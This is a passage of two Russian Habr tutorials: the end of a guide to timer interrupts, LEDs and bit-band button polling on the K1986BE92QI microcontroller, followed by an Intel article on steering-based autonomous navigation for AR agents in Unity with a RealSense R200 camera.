MDR_PORTE->PULL &= ~((uint32_t)(DOWN_MSK|LEFT_MSK|DOWN_MSK<<16|LEFT_MSK<<16)); // Подтяжка отключена.
MDR_PORTE->PD &= ~((uint32_t)(DOWN_MSK|LEFT_MSK|DOWN_MSK<<16|LEFT_MSK<<16)); // Триггер Шмитта выключен гистерезис 200 мВ. // Управляемый драйвер.
MDR_PORTE->PWR |= PWRMAX_DOWN_MSK|PWRMAX_LEFT_MSK; // Максимальная скорость обоих выводов.
MDR_PORTE->GFEN |= DOWN_MSK|LEFT_MSK; // Фильтр импульсов включен (фильтрация импульсов до 10 нс).
}
```
2. Так как все таймеры имеют одинаковую структуру, то настройка второго таймера до определенного момента будет идентична настройки предыдущего. Так же создадим функцию, которая будет инициализировать таймер. **У меня она выглядит так.**
```
// Настройка таймера для генерации прерываний 25 раз в секунду.
void initTimerButtonCheck (void)
{
}
```
3. Далее все как в первом таймере, только ARR не 125 (пол секунды), а 10 (1/25-я).**Заполнение регистров.**
```
MDR_RST_CLK->PER_CLOCK |= RST_CLK_PCLK_TIMER2; // Включаем тактирование таймера 2.
MDR_RST_CLK->TIM_CLOCK |= RST_CLK_TIM_CLOCK_TIM2_CLK_EN; // Подаем тактирование без пред делителя.
MDR_TIMER2->CNT = 0;// Считай с 0.
MDR_TIMER2->PSG = 32000-1; // На таймер идет частота TIM_CLK/32000.
MDR_TIMER2->ARR = 10; // 1 секунда 250 тиков. У нас 25 опросов в секунду => 250/25=10.
```
4. Далее нам нужно, чтобы при совпадении CNT и ARR у нас происходило прерывание. Для этого нам нужен регистр IE. Из всего многообразия различных случаев, вызывающих прерывание, нам нужен самый простой: CNT\_ARR\_EVENT\_IE. **IE**
```
MDR_TIMER2->IE = TIMER_IE_CNT_ARR_EVENT_IE; // Разрешаем прерывание по совпадению CNT и ARR.
```
5. Теперь при CNT == ARR у нас возникает прерывание. Но оно нам ничего не даст, потому что по умолчанию прерывания от всего таймера запрещены. Исправить это можно, разрешив прерывание от всего таймера в контроллере NVIC. В предыдущих статьях мы уже имели с ним дело. Но тогда мы промелькнули его вскользь. Для того, чтобы разрешить или запретить прерывания — в CMSIS есть собственные функции. Бояться их не стоит, ибо они представляют из себя простые макросы в одну СИ-команду. Но они здорово улучают читабельность кода.**Вот какие команды CMSIS мы можем использовать.**Отсюда нам нужна функция NVIC\_EnableIRQ.**Ее параметр можно узнать из таблицы в файле MDR32Fx.h**
```
/* MDR32Fx Interrupt Number Definition */
typedef enum IRQn
{
/*---- Cortex-M3 Processor Exceptions Numbers --------------------------------*/
NonMaskableInt_IRQn = -14, /*!< 2 Non Maskable Interrupt *///!< NonMaskableInt_IRQn
HardFault_IRQn = -13, /*!< 3 Hard Fault Interrupt *///!< HardFault_IRQn
MemoryManagement_IRQn = -12, /*!< 4 Memory Management Interrupt *///!< MemoryManagement_IRQn
BusFault_IRQn = -11, /*!< 5 Bus Fault Interrupt *///!< BusFault_IRQn
UsageFault_IRQn = -10, /*!< 6 Usage Fault Interrupt *///!< UsageFault_IRQn
SVCall_IRQn = -5, /*!< 11 SV Call Interrupt *///!< SVCall_IRQn
PendSV_IRQn = -2, /*!< 14 Pend SV Interrupt *///!< PendSV_IRQn
SysTick_IRQn = -1, /*!< 15 System Tick Timer Interrupt *///!< SysTick_IRQn
/*---- MDR32Fx specific Interrupt Numbers ------------------------------------*/
CAN1_IRQn = 0, /*!< CAN1 Interrupt *///!< CAN1_IRQn
CAN2_IRQn = 1, /*!< CAN1 Interrupt *///!< CAN2_IRQn
USB_IRQn = 2, /*!< USB Host Interrupt *///!< USB_IRQn
DMA_IRQn = 5, /*!< DMA Interrupt *///!< DMA_IRQn
UART1_IRQn = 6, /*!< UART1 Interrupt *///!< UART1_IRQn
UART2_IRQn = 7, /*!< UART2 Interrupt *///!< UART2_IRQn
SSP1_IRQn = 8, /*!< SSP1 Interrupt *///!< SSP1_IRQn
I2C_IRQn = 10, /*!< I2C Interrupt *///!< I2C_IRQn
POWER_IRQn = 11, /*!< POWER Detecor Interrupt *///!< POWER_IRQn
WWDG_IRQn = 12, /*!< Window Watchdog Interrupt *///!< WWDG_IRQn
Timer1_IRQn = 14, /*!< Timer1 Interrupt *///!< Timer1_IRQn
Timer2_IRQn = 15, /*!< Timer2 Interrupt *///!< Timer2_IRQn
Timer3_IRQn = 16, /*!< Timer3 Interrupt *///!< Timer3_IRQn
ADC_IRQn = 17, /*!< ADC Interrupt *///!< ADC_IRQn
COMPARATOR_IRQn = 19, /*!< COMPARATOR Interrupt *///!< COMPARATOR_IRQn
SSP2_IRQn = 20, /*!< SSP2 Interrupt *///!< SSP2_IRQn
BACKUP_IRQn = 27, /*!< BACKUP Interrupt *///!< BACKUP_IRQn
EXT_INT1_IRQn = 28, /*!< EXT_INT1 Interrupt *///!< EXT_INT1_IRQn
EXT_INT2_IRQn = 29, /*!< EXT_INT2 Interrupt *///!< EXT_INT2_IRQn
EXT_INT3_IRQn = 30, /*!< EXT_INT3 Interrupt *///!< EXT_INT3_IRQn
EXT_INT4_IRQn = 31 /*!< EXT_INT4 Interrupt *///!< EXT_INT4_IRQn
}IRQn_Type;
```
Нам нужен второй таймер. Следовательно наша функция будет выглядеть так.
```
NVIC_EnableIRQ(Timer2_IRQn); // Разрешаем прерывание от таймера в целом.
```
6. Осталось только включить таймер и наша конечная функция будет иметь следующий вид.**Инициализация таймера 2 для опроса кнопок.**// Настройка таймера для генерации прерываний 25 раз в секунду.
void initTimerButtonCheck (void)
{
MDR\_RST\_CLK->PER\_CLOCK |= RST\_CLK\_PCLK\_TIMER2; // Включаем тактирование таймера 2.
MDR\_RST\_CLK->TIM\_CLOCK |= RST\_CLK\_TIM\_CLOCK\_TIM2\_CLK\_EN; // Подаем тактирование без предделителя.
MDR\_TIMER2->CNT = 0; // Считай с 0.
MDR\_TIMER2->PSG = 32000-1; // На таймер идет частота TIM\_CLK/32000.
MDR\_TIMER2->ARR = 10; // 1 секунда 250 тиков. У нас 25 опросов в секунду => 250/25=10.
MDR\_TIMER2->IE = TIMER\_IE\_CNT\_ARR\_EVENT\_IE; // Разрешаем прерывание по совподению CNT и ARR.
NVIC\_EnableIRQ(Timer2\_IRQn); // Разрешаем прерывание от таймера в целом.
MDR\_TIMER2->CNTRL = TIMER\_CNTRL\_CNT\_EN; // Включаем таймер.
}
7. Теперь нам нужно создать обработчик прерывания. Его имя строго фиксировано в файле startup\_MDR32F9Qx.s. На весь таймер есть всего один вектор прерывания. Все названия там интуитивно понятны. Наш называется Timer2\_IRQHandler. Создадим функцию с пустыми входными параметрами. И первой же командой нужно сбросить флаг прерывания, из-за которого мы сюда попали. Иначе после выхода из прерывания мы попадем обратно в его начало. Сбрасывать флаг в конце так же нельзя, ибо не хватает времени, чтобы он был «полностью сброшен» и в итоге мы все равно попадаем в прерывание с несброшенным флагом. Обязательно нужно, чтобы перед выходом из прерывания была хотя бы одна команда, разделяющая сброс флага и выходом из прерывания. Сбросить флаг можно в регистре STATUS. **STATUS**Так как у нас всего одно событие из таймера используется, то мы можем смело записывать «0» во весь регистр. Если бы у на было несколько событий, то мы должны были бы сначала проверить, какое из событий произошло. В нашем случае функция будет иметь следующий вид.
```
void Timer2_IRQHandler (void)
{
MDR_TIMER2->STATUS = 0; // Сбрасываем флаг. Обязательно первой коммандой.
// Здесь обязательно должна быть хоть одна команда.
}
```
8. В самом начале статьи мы определились, что при входе в прерывание мы будем менять состояние светодиода, чтобы показать, что прерывание было обработано. Для этого нам нужно воспользоваться одним из двух пользовательских светодиодов, подключенных к выводам PC0 и PC1. **Подключение светодиодов.**Предлагаю для этой цели использовать PC0 (на плате он слева). А светодиод, подключенные к PC1 нужно отключить от выхода микроконтроллера и проводом подключить к PA1 (нашему выводу ШИМ).**Инициализация светодиодов будет выглядеть следующим образом.**
```
// Подключение светодиодов.
#define LED0 (1<<0) // PORTC.
#define LED1 (1<<1) // PORTC.
#define PWRMAX_LED0 (3<<2*0) // Максимальная скорость работы порта.
#define PWRMAX_LED1 (3<<2*1)
// Инициализация порта C для работы с двумя светодиодами.
void initPinPortCForLed (void)
{
MDR_RST_CLK->PER_CLOCK |= RST_CLK_PCLK_PORTC; // Включаем тактирование портов C.
MDR_PORTC->OE |= LED0|LED1; // Выход.
MDR_PORTC->FUNC &= ~((uint32_t)(LED0|LED1)); // Режим работы - порт.
MDR_PORTC->ANALOG |= LED0|LED1; // Цифровые.
MDR_PORTC->PULL &= ~((uint32_t)(LED0|LED1|LED0<<16|LED1<<16)); // Подтяжка отключена.
MDR_PORTC->PD &= ~((uint32_t)(LED0|LED1|LED0<<16|LED1<<16)); // Триггер Шмитта выключен гистерезис 200 мВ.
// Управляемый драйвер.
MDR_PORTC->PWR |= PWRMAX_LED0|PWRMAX_LED1; // Максимальная скорость пин обоих светодиодов.
MDR_PORTC->GFEN &= ~((uint32_t)(LED0|LED1)); // Фильтрация импульсов отключена.
}
```
Функция настраивает оба светодиода, но т.к. второй отключен (перемычкой), то никакой разницы не будет.
9. Осталось только опросить клавиши и изменить значение в ARR таймера ШИМ. Но наши кнопки подключены к 3-м разным портам. Можно, конечно, по-старинке. Брать значения с целого порта и с помощью маски смотреть конкретные выводы, но в этом случае намного удобнее использовать BitBanding. Если не углубляться в подробности, то у нас каждый бит области периферии (порты ввода-вывода в том числе) имеет свою собственную 32-х битную ячейку. В которой записано либо «1» либо «0». В зависимости от состояния бита. С ними можно работать как с обыкновенными регистрами. Запись «1» даст 1 в нужном бите реального регистра. «0» — соответственно, 0. Для того, чтобы получить адреса этих ячеек, можно воспользоваться очень удобным калькулятором [Catethysis-а](http://catethysis.ru/calculators/). Разберем на примере. У нас клавиша UP подключена к выводу 5 порта B. Идем в документацию и смотрим адрес регистра порта B. **Там находим**Вбиваем этот адрес в поле «регистр», а в поле «бит» пишем 5. На выходе получаем 0x43600014. Именно работая с ячейкой по этому адресу мы работаем с битом 5 порта B. Но просто записать 0x43600014 = 1 — нельзя. А вот \*(uint32\_t\*)0x43600014 = 1 — можно.**Теперь, подобным образом можно переписать все выводы, подключенные к кнопкам.**
```
// Читать состояние клавиши.
#define DOWN_FLAG *(uint32_t*)0x43900004
#define SELECT_FLAG *(uint32_t*)0x43700008
#define LEFT_FLAG *(uint32_t*)0x4390000c
#define UP_FLAG *(uint32_t*)0x43600014
#define RIGHT_FLAG *(uint32_t*)0x43600018
```
Точно так же можно сделать и для светодиода.
```
#define LED0_FLAG *(uint32_t*)0x43700000
```
10. Теперь осталось лишь записать опрос кнопок и изменение регистра ARR таймера 1.**Итоговая функция будет выглядеть так.**int PWM\_speed = 125;
void Timer2\_IRQHandler (void)
{
MDR\_TIMER2->STATUS = 0; // Сбрасываем флаг. Обязательно первой командой.
LED1\_FLAG = !LED1\_FLAG; // Показываем, что прерывание было обработано.
if (UP\_FLAG == 0) PWM\_speed--; // Проверяем, нажата ли какая-нибудь клавиша. Если нажата — что-то делаем с частотой.
else if (DOWN\_FLAG == 0) PWM\_speed++;
else if (LEFT\_FLAG == 0) PWM\_speed--;
else if (RIGHT\_FLAG == 0) PWM\_speed++;
if (PWM\_speed < 1) PWM\_speed = 1; // Проверяем, чтобы частота не вышла за пределы диапазона от 250 Гц до 0.5 Гц.
else if (PWM\_speed > 500) PWM\_speed = 500;
MDR\_TIMER1->ARR = PWM\_speed; // Меняем частоту.
}
11. Основная функция main содержит в себе лишь перечисление всех выше описанных функций. **Выглядит так.**int main (void)
{
initTimerPWMled(PWM\_speed); // Запускаем ШИМ. Параметр — скорость ШИМ.
initPinForButton(); // Настраиваем кнопки.
initPinPortCForLed(); // Работа светодиода (клавиша считывается).
initTimerButtonCheck(); // Инициализация таймера.
while (1)
{
}
}
##### Вместо заключения
В этой статье мы рассмотрели реализацию поставленной задачи без использования библиотеки SPL. В следующей статье мы реализуем ту же задачу, но уже с использованием только лишь SPL и сравним результаты.
[Итоговый проект на github](https://github.com/Vadimatorik/k1986be92qi_pwm_cmsis)
##### Небольшое дополнение
В данный момент Миландр выпустил новую, переработанную версию SPL. К сожалению, пока не в виде полноценной версии. В текущей версии нельзя смотреть состояние регистров в окнах keil. Но уже скоро выйдет полная версия и этот недостаток будет исправлен. Для тех, кто хочет попробовать новую версию — вот ссылка на [чистый проект](https://github.com/Vadimatorik/k1986be92qi_empty_project_keil_5.1.4).
**Список предыдущих статей.*** 1. [Переходим с STM32F103 на К1986ВЕ92QI. Или первое знакомство с российским микроконтроллером.](http://habrahabr.ru/post/255199/#first_unread)
* 2. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка проекта в keil и мигание светодиодом.](http://habrahabr.ru/post/255323/)
* 3. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Системный таймер (SysTick).](http://habrahabr.ru/post/255415/)
* 4. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Настройка тактовой частоты.](http://habrahabr.ru/post/255479/)
* 5. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть первая: генерируем прямоугольный и синусоидальный сигнал. Освоение ЦАП (DAC).](http://habrahabr.ru/post/255513/)
* 6. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть вторая: генерируем синусоидальный сигнал. Освоение DMA.](http://habrahabr.ru/post/256091/)
* 7. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть третья: генерируем синусоидальный сигнал. Простой взгляд на DMA + первое знакомство с таймерами.](http://habrahabr.ru/post/256577/)
* 8. [Переходим с STM32 на российский микроконтроллер К1986ВЕ92QI. Практическое применение: Генерируем и воспроизводим звук. Часть четвертая: создаем цифровую часть одноголосной и многоголосой музыкальной открытки.](http://habrahabr.ru/post/256621/) | https://habr.com/ru/post/267051/ | null | ru | null |
# Введение в автономную навигацию для дополненной реальности
[](https://habrahabr.ru/company/intel/blog/282141/)
Компьютерные системы с управлением без помощи контроллеров — новый этап во взаимодействии человека и компьютера. К этой области относятся технологии, воспринимающие физическую среду, включая распознавание жестов, распознавание голоса, распознавание лица, отслеживание движения, реконструкцию среды. [Камеры Intel RealSense F200 и R200](https://software.intel.com/en-us/realsense/devkit) реализуют ряд возможностей из этой области. Благодаря возможности съемки с определением глубины камеры F200 и R200 позволяют выстраивать трехмерную среду и отслеживать движение устройства по отношению к среде. Реконструкция среды вместе с отслеживанием движения позволяет реализовать возможности виртуальной реальности, в которой виртуальные предметы вписываются в реальный мир.
Цель этой статьи — ознакомление с автономной навигацией и описание ее применения в приложениях дополненной реальности. Разработанный пример использует камеру Intel RealSense R200 и игровой движок [Unity 3D](http://unity3d.com/). Рекомендуется заранее ознакомиться с возможностями [Intel RealSense SDK](https://software.intel.com/en-us/intel-realsense-sdk) и Unity. Сведения об интеграции Intel RealSense SDK с Unity см. в статьях [Разработка игр с Unity и камерой Intel RealSense 3D](https://software.intel.com/ru-ru/articles/game-development-with-unity-and-intel-realsense-3d-camera) и [Первый взгляд: дополненная реальность в Unity с Intel RealSense R200](https://blogs.intel.com/evangelists/2015/06/08/first-look-ar-unity-intel-realsense-r200/).
Камеры Intel RealSense могут предоставлять данные в приложения дополненной реальности, но создание действительно интересного виртуального мира — дело разработчиков. Один из способов создания живой среды состоит в использовании автономных агентов. Автономные агенты — это объекты, действующие независимо, используя искусственный интеллект. Искусственный интеллект определяет операционные параметры и правила, которым должен подчиняться агент. Агент динамически реагирует на условия среды, в которой он находится, в реальном времени, поэтому даже при простоте принципов действия может обладать сложной моделью поведения.
Автономные агенты могут существовать во множестве видов, однако в этом обсуждении мы остановимся на агентах, способных передвигаться и ориентироваться. К таким агентам относятся игровые персонажи, не управляемые игроком (NPC), и птицы, собирающиеся в стаи в учебных анимационных программах. Цели агентов будут различаться в зависимости от приложения, но принципы передвижения и навигации одинаковы во всех случаях.
Автономная навигация
--------------------
Навигацию агентов можно осуществить разными способами: как простыми, так и сложными, как с точки зрения реализации, так и с точки зрения ресурсоемкости. Самый простой подход — определить путь, по которому будет двигаться агент. Выбрана путевая точка, затем агент движется к ней по прямой линии. Такой подход несложен в реализации, но его применение сопряжено с несколькими проблемами. Наиболее очевидная из них: что произойдет, если между агентом и путевой точкой нет прямого пути (рис. 1)?
*Рисунок 1. Агент движется к цели по прямому пути, но путь прегражден препятствием. Примечание. Описываемые вопросы применимы к навигации и в двухмерном, и в трехмерном пространстве. Здесь для иллюстрации используется двухмерное пространство*
Чтобы проложить маршрут в обход препятствий, требуется добавить дополнительные путевые точки (рис. 2).
*Рисунок 2. Добавляются дополнительные путевые точки, чтобы агент мог обходить препятствия*
На крупных картах с большим числом препятствий будет гораздо больше путевых точек и маршрутов. Кроме того, повышение плотности путевых точек (рис. 3) поможет прокладывать более эффективные маршруты (длина пути агента до точки назначения будет меньше).
*Рисунок 3. По мере увеличения размеров карт увеличивается количество путевых точек и возможных маршрутов*
При большом количестве путевых точек требуется способ построения маршрута между двумя путевыми точками, расположенными не по соседству одна с другой. Эта проблема называется «поиском пути». Поиск пути тесно связан с теорией графов и применяется во множестве областей, не только в навигации. Естественно, в этой области ведется немало исследований, для решения различных проблем поиска пути создано множество алгоритмов. Одним из наиболее известных алгоритмов поиска пути является A\*. Этот алгоритм предусматривает движение между соседними путевыми точками в сторону места назначения и построение карты всех посещенных путевых точек и всех путевых точек, соединенных с ними. После достижения места назначения алгоритм вычисляет путь, используя созданную карту. После этого агент может двигаться по этому пути. Алгоритм А\* не предусматривает поиск по всему доступному пространству, поэтому построенный путь далеко не всегда является оптимальным. Эффективность такого алгоритма с точки зрения нагрузки на вычислительные ресурсы достаточно высока.
*Рисунок 4. Алгоритм A\* осуществляет обход карты, пытаясь отыскать маршрут к цели Анимация: Subh83/[CC BY 3.0](https://creativecommons.org/licenses/by/3.0/deed.en)*
Алгоритм А\* по своей природе не может адаптироваться к изменениям среды, таким как добавление или удаление препятствий, движение границ. Среда дополненной реальности по своей сути является динамической, поскольку такая среда создается и изменяется в соответствии с движением пользователя и физического пространства.
В динамической среде желательно, чтобы агенты принимали решение в реальном времени; такое решение должно приниматься на основе всего объема текущих знаний агента о среде. Таким образом, необходимо определить структуру, чтобы агент мог принимать решения и действовать в реальном времени. В отношении навигации удобным и распространенным является подход, при котором структура поведения разделяется на три уровня.
1. **Выбор действия** состоит из постановки целей и определения способов достижения этих целей. Например, кролик будет перемещаться по полю в поисках еды, но при появлении рядом хищника кролик будет спасаться бегством. Конечные автоматы (машины конечных состояний) удобно использовать для реализации такого поведения, поскольку они определяют состояния агента и условия, при которых состояния изменяются.
2. **Наведение** — это расчет движения на основе текущего состояния агента. Например, если за кроликом гонится хищник, кролик должен убегать от хищника. Наведение вычисляет как величину, так и направление движения.
3. **Передвижение** — это механика, посредством которой перемещается агент. Кролик, человек, автомобиль и космический корабль перемещаются разными способами. Передвижение определяет и способ движения (например, с помощью ног, колес, ракетных двигателей), и параметры этого движения (например, массу, максимальную скорость, максимальную силу и т. д.).
Вместе эти уровни образуют искусственный интеллект агента. В следующем разделе мы покажем пример приложения Unity, демонстрирующий реализацию этих трех уровней. Далее мы встраиваем автономную навигацию в приложение дополненной реальности с помощью камеры R200.
Реализация автономной навигации
-------------------------------
В этом разделе описывается платформа поведения в сцене Unity для автономной навигации, начиная с движения.
### ▍Передвижение
Передвижение агента основывается на [законах динамики Ньютона](https://en.wikipedia.org/wiki/Newton%27s_laws_of_motion): при применении силы к массе возникает ускорение. Мы используем упрощенную модель с равномерно распределенной массой тела, к которому может быть применена сила с любого направления. Для ограничения движения задается максимальная сила и максимальная скорость (фрагмент кода 1).
```
public float mass = 1f; // Mass (kg)
public float maxSpeed = 0.5f; // Maximum speed (m/s)
public float maxForce = 1f; // "Maximum force (N)
```
*Фрагмент кода 1. Модель передвижения агента*
Агент должен обладать компонентами rigidbody и collider, которые инициализируются при запуске (см. фрагмент кода 2). Для простоты модели гравитация исключена, но ее можно включить.
```
private void Start () {
// Initialize the rigidbody
this.rb = GetComponent ();
this.rb.mass = this.mass;
this.rb.useGravity = false;
// Initialize the collider
this.col = GetComponent ();
}
```
*Фрагмент кода 2. Компоненты rigidbody и collider инициализируются при Start()*
Агент перемещается путем применения силы к rigidbody на шаге *FixedUpdate()* (см. фрагмент кода 3). *FixedUpdate()* работает аналогично *Update()*, но гарантированно выполняется с одинаковым интервалом в отличие от *Update()*. Движок Unity проводит расчет физики (операции с твердыми телами) после завершения шага *FixedUpdate()*.
```
private void FixedUpdate () {
Vector3 force = Vector3.forward;
// Upper bound on force
if (force.magnitude > this.maxForce) {
force = force.normalized * this.maxForce;
}
// Apply the force
rb.AddForce (force, ForceMode.Force);
// Upper bound on speed
if (rb.velocity.magnitude > this.maxSpeed) {
rb.velocity = rb.velocity.normalized * this.maxSpeed;
}
}
```
*Фрагмент кода 3. Сила применяется к rigidbody на шаге FixedUpdate(). В этом примере агент перемещается вдоль оси Z*
Если величина силы превышает максимальную силу агента, она корректируется таким образом, чтобы сила величины была равна максимальной силе (направление сохраняется). Функция *AddForce ()* применяет силу путем [численного интегрирования](https://en.wikipedia.org/wiki/Numerical_integration).
*Уравнение 1. Численное интегрирование скорости. Функция AddForce() осуществляет это вычисление*
Где *ν1* — новая скорость, *ν0* — прежняя скорость, *f* — сила, *m* — масса, а *Δt*— интервал времени между обновлениями (по умолчанию фиксированный шаг времени в Unity равен 0,02 с). Если величина скорости превышает максимальную скорость агента, она корректируется таким образом, чтобы совпадать с максимальной скоростью.
### ▍Наведение
Наведение вычисляет силу, которая будет придана модели передвижения. Будет применено три алгоритма поведения при наведении: поиск, прибытие и уклонение от препятствий.
#### Поиск
Поведение «Поиск» пытается как можно быстрее двигать объект к цели. Желаемая скорость этого поведения — движение напрямую к цели с максимальной скоростью. Сила наведения вычисляется как разница между желаемой и текущей скоростями агента (рис. 5).
*Рисунок 5. Поведение «Поиск» применяет силу наведения, чтобы изменить текущую скорость до желаемой*
Реализация (фрагмент кода 4) сначала вычисляет желаемый вектор путем нормализации смещения между агентом и целью и умножения его на максимальную скорость. Возвращаемая сила наведения — это желаемая скорость минус текущая скорость rigidbody.
```
private Vector3 Seek () {
Vector3 desiredVelocity = (this.seekTarget.position - this.transform.position).normalized * this.maxSpeed;
return desiredVelocity - this.rb.velocity;
}
```
*Фрагмент кода 4. Поведение «Поиск»*
Агент использует алгоритм «Поиск», вызывая *Seek()* при вычислении силы в *FixedUpdate()* (фрагмент кода 5).
```
private void FixedUpdate () {
Vector3 force = Seek ();
...
```
*Фрагмент кода 5. Вызов Seek () в FixedUpdate ()*
Пример алгоритма «Поиск» в действии показан на видео 1. Агент снабжен синей стрелкой, указывающей текущую скорость rigidbody, и красной стрелкой, указывающей, что на данном временном интервале применяется наведение.
*Видео 1. Изначально скорость агента направлена перпендикулярно направлению на цель, поэтому агент движется по кривой*
#### Прибытие
При алгоритме «Поиск» агент промахивается мимо цели и движется вокруг нее, поскольку он двигался с наибольшей возможной скоростью. Алгоритм «Прибытие» схож с алгоритмом «Поиск», а отличие состоит в том, что он пытается полностью остановиться у цели. Параметр «Радиус замедления» определяет расстояние до цели, по достижении которого агент начнет замедлять движение. Когда агент окажется внутри радиуса замедления, величина желаемой скорости будет обратно пропорциональна расстоянию между агентом и целью. В зависимости от значений максимальной силы, максимальной скорости и радиуса замедления такое поведение может не привести к полной остановке.
Поведение «Прибытие» (фрагмент кода 6) сначала вычисляет расстояние между агентом и целью. Приведенная скорость вычисляется как максимальная скорость, приведенная к расстоянию, разделенному на радиус замедления. Желаемая скорость является наименьшей между приведенной скоростью и максимальной скоростью. Таким образом, если расстояние до цели меньше радиуса замедления, то желаемая скорость является приведенной скоростью. В противном случае желаемая скорость является максимальной скоростью. Оставшаяся часть этой функции работает в точности как «Поиск» с желаемой скоростью.
```
// Arrive deceleration radius (m)
public float decelerationRadius = 1f;
private Vector3 Arrive () {
// Calculate the desired speed
Vector3 targetOffset = this.seekTarget.position - this.transform.position;
float distance = targetOffset.magnitude;
float scaledSpeed = (distance / this.decelerationRadius) * this.maxSpeed;
float desiredSpeed = Mathf.Min (scaledSpeed, this.maxSpeed);
// Compute the steering force
Vector3 desiredVelocity = targetOffset.normalized * desiredSpeed;
return desiredVelocity - this.rb.velocity;
}
```
*Фрагмент кода 6. Поведение «Прибытие»*
*Видео 2. Алгоритм «Прибытие» снижает скорость при достижении цели*
#### Уклонение от препятствий
Алгоритмы «Прибытие» и «Поиск» отлично подходят для прибытия к месту назначения, но не справляются с препятствиями. В динамичной среде агент должен иметь возможность уклоняться от новых появляющихся препятствий. Алгоритм «Уклонение от препятствий» анализирует путь перед агентом по предполагаемому маршруту и определяет, есть ли на этом пути какие-либо препятствия, которых следует избегать. Если препятствия обнаружены, то алгоритм вычисляет силу, изменяющую путь движения агента таким образом, что агент не сталкивается с препятствием (рис. 6).
Рисунок 6. Если на текущей траектории обнаруживается препятствие, возвращается сила, предотвращающая столкновение
Реализация алгоритма «Уклонение от препятствий» (фрагмент кода 7) использует spherecast для обнаружения столкновений. При этом вдоль текущего вектора скорости rigidbody выпускается сфера, а для каждого столкновения возвращается RaycastHit. Сфера движется из центра агента, ее радиус равен сумме радиуса столкновения объекта со значением параметра «Радиус уклонения». С помощью радиуса уклонения пользователь может определить пустое пространство вокруг агента. Дальность движения сферы ограничивается параметром «Переднее обнаружение».
```
// Avoidance radius (m). The desired amount of space between the agent and obstacles.
public float avoidanceRadius = 0.03f;
// Forward detection radius (m). The distance in front of the agent that is checked for obstacles.
public float forwardDetection = 0.5f;
private Vector3 ObstacleAvoidance () {
Vector3 steeringForce = Vector3.zero;
// Cast a sphere, that bounds the avoidance zone of the agent, to detect obstacles
RaycastHit[] hits = Physics.SphereCastAll(this.transform.position, this.col.bounds.extents.x + this.avoidanceRadius, this.rb.velocity, this.forwardDetection);
// Compute and sum the forces across all hits
for(int i = 0; i < hits.Length; i++) {
// Ensure that the collidier is on a different object
if (hits[i].collider.gameObject.GetInstanceID () != this.gameObject.GetInstanceID ()) {
if (hits[i].distance > 0) {
// Scale the force inversely proportional to the distance to the target
float scaledForce = ((this.forwardDetection - hits[i].distance) / this.forwardDetection) * this.maxForce;
float desiredForce = Mathf.Min (scaledForce, this.maxForce);
// Compute the steering force
steeringForce += hits[i].normal * desiredForce;
}
}
}
return steeringForce;
}
```
*Фрагмент кода 7. Поведение «Уклонение от препятствий»*
При использовании spherecast возвращается массив объектов *RaycastHit*. Объект *RaycastHit* содержит информацию о столкновении, в том числе расстояние до столкновения и нормаль к плоскости поверхности, с которой произошло столкновение. Нормаль — это вектор, перпендикулярный плоскости. Его можно использовать, чтобы направить агент в сторону от точки столкновения. Величина силы определяется путем приведения максимальной силы обратно пропорционально расстоянию до столкновения. Силы каждого столкновения складываются, а результат является суммарной силой уклонения в один временной интервал.
Для получения более сложного поведения можно использовать сразу несколько алгоритмов одновременно (фрагмент кода 8). Алгоритм «Уклонение от препятствий» полезен только при использовании вместе с другими алгоритмами. В этом примере (видео 3) «Уклонение от препятствий» используется вместе с алгоритмом «Прибытие». Алгоритмы поведения объединяются просто путем сложения их сил. Возможны и более сложные схемы, где для определения весовых коэффициентов приоритета сил используются эвристические механизмы.
```
private void FixedUpdate () {
// Calculate the total steering force by summing the active steering behaviors
Vector3 force = Arrive () + ObstacleAvoidance();
...
```
*Фрагмент кода 8. Алгоритмы «Прибытие» и «Уклонение от препятствий» используются одновременно путем сложения их сил*
*Видео 3. Агент использует сразу два типа поведения: «Прибытие» и «Уклонение от препятствий»*
### ▍Выбор действия
Выбор действия — это постановка общих целей и принятие решений агентом. Наша реализация агента уже включает простую модель выбора действий в виде объединения алгоритмов «Прибытие» и «Уклонение от препятствий». Агент пытается прибыть к цели, но при обнаружении препятствий его траектория будет изменена. Параметры «Радиус уклонения» и «Обнаружение впереди» алгоритма «Уклонение от препятствий» определяют действие, которое будет выполнено.
Интеграция камеры R200
----------------------
Теперь агент способен самостоятельно передвигаться, его можно включать в приложение дополненной реальности.
Следующий пример создан на основе примера Scene Perception, входящего в состав Intel RealSense SDK. Это приложение создает трехмерную модель с помощью Scene Perception, а пользователь сможет задать и перемещать цель в трехмерном пространстве. После этого агент сможет перемещаться по созданной трехмерной модели для достижения цели.
### ▍Scene Manager
Сценарий Scene Manager инициализирует сцену и обрабатывает пользовательское управление. Единственным видом управления является касание (или щелчок мыши, если устройство не поддерживает касания). Трассировка луча из точки касания определяет, происходит ли касание созданной трехмерной модели. Первое касание создает цель на трехмерной модели, второе — создает агента, а каждое последующее касание перемещает положение цели. Логику управления обрабатывает конечный автомат (фрагмент кода 9).
```
// State machine that controls the scene:
// Start => SceneInitialized -> TargetInitialized -> AgentInitialized
private enum SceneState {SceneInitialized, TargetInitialized, AgentInitialized};
private SceneState state = SceneState.SceneInitialized; // Initial scene state.
private void Update () {
// Trigger when the user "clicks" with either the mouse or a touch up gesture.
if(Input.GetMouseButtonUp (0)) {
TouchHandler ();
}
}
private void TouchHandler () {
RaycastHit hit;
// Raycast from the point touched on the screen
if (Physics.Raycast (Camera.main.ScreenPointToRay (Input.mousePosition), out hit)) {
// Only register if the touch was on the generated mesh
if (hit.collider.gameObject.name == "meshPrefab(Clone)") {
switch (this.state) {
case SceneState.SceneInitialized:
SpawnTarget (hit);
this.state = SceneState.TargetInitialized;
break;
case SceneState.TargetInitialized:
SpawnAgent (hit);
this.state = SceneState.AgentInitialized;
break;
case SceneState.AgentInitialized:
MoveTarget (hit);
break;
default:
Debug.LogError("Invalid scene state.");
break;
}
}
}
}
```
*Фрагмент кода 9. Обработчик касаний и конечный автомат для примера приложения*
